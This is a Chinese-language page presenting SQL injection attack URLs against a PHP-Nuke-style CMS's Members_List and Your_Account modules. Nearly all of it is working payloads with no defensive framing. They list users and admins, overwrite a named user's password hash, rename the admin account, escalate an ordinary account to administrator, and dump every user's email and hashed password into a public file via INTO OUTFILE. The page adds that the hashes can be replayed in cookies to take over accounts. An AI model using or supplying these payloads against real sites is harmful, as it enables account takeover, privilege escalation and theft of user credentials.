【聚杰网数据库编程】利用SQL注入缺陷进行攻击的方法及代码开发者网络SQL
PHP代码/位置:
Members_List模块:
- 显示用户:
http://[target]/modules.php?name=Members_List&letter=All&sortby=pass
- 显示用户:
http://[target]/modules.php?name=Members_List&letter=All&sortby=uid
- 显示moderators :
http://[target]/modules.php?name=Members_List&letter=%20OR%20user_level=2/*
- 显示管理员:
http://[target]/modules.php?name=Members_List&letter=%20OR%20user_level=4/*
- 显示所有以“abc”开头的用户 :
http://[target]/modules.php?name=Members_List&letter=%20OR%20pass%20LIKE%20abc%25/*
Your_Account模块 :
- 将“Admind”用户更名为“Hophophop” :
http://[target]/modules.php?name=Your_Account&op=savetheme&theme=,name=Hophophop%20where%20uname=Admin/*&uid=[OUR_UID]
- 在md5_decrypted中将“Bob”的密码改为“d41d8cd98f00b204e9800998ecf8427e”:
http://[target]/modules.php?name=Your_Account&op=savetheme&theme=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
或:
http://[target]/modules.php?name=Your_Account&op=saveuser&realname=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
或:
http://[target]/modules.php?name=Your_Account&op=saveuser&email=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
或:
http://[target]/modules.php?name=Your_Account&op=savehome&storynum=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
或:
http://[target]/modules.php?name=Your_Account&op=savehome&ublockon=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
或:
http://[target]/modules.php?name=Your_Account&op=savecomm&umode=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
或:
http://[target]/modules.php?name=Your_Account&op=savecomm&thold=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
- 将普通用户提升至管理员权限:
http://[target]/modules.php?name=Your_Account&op=savetheme&theme=,user_level=4&uid=[OUR_UID]
或:
http://[target]/modules.php?name=Your_Account&op=saveuser&femail=,user_level=4&uid=[OUR_UID]
或:
http://[target]/modules.php?name=Your_Account&op=saveuser&url=http://,user_level=4&uid=[OUR_UID]
或:
http://[target]/modules.php?name=Your_Account&op=savehome&broadcast=,user_level=4&uid=[OUR_UID]
或:
http://[target]/modules.php?name=Your_Account&op=savecomm&uorder=,user_level=4&uid=[OUR_UID]
- 将所有用户的电子邮件和crypted密码保存在http://[target]/AllMailPass.txt中 :
http://[target]/modules.php?name=Your_Account&op=mailpasswd&uname=)
%20OR%201=1%20INTO%20OUTFILE%20/[path/to/site]/AllMailPass.txt/*
利用Cookie发送crypted密码能访问用户帐户。
- 将用户的所有信息保存在http://[target]/admintxt中:
http://[target]/modules.php?name=Your_Account&op=login&uname=%20OR%user_level>
1%20INTO%20OUTFILE%20/[path/to/site]/admin.txt
[path/to/site]能在http://[target]/modules/Forums/bb_smilies.php中查询到。




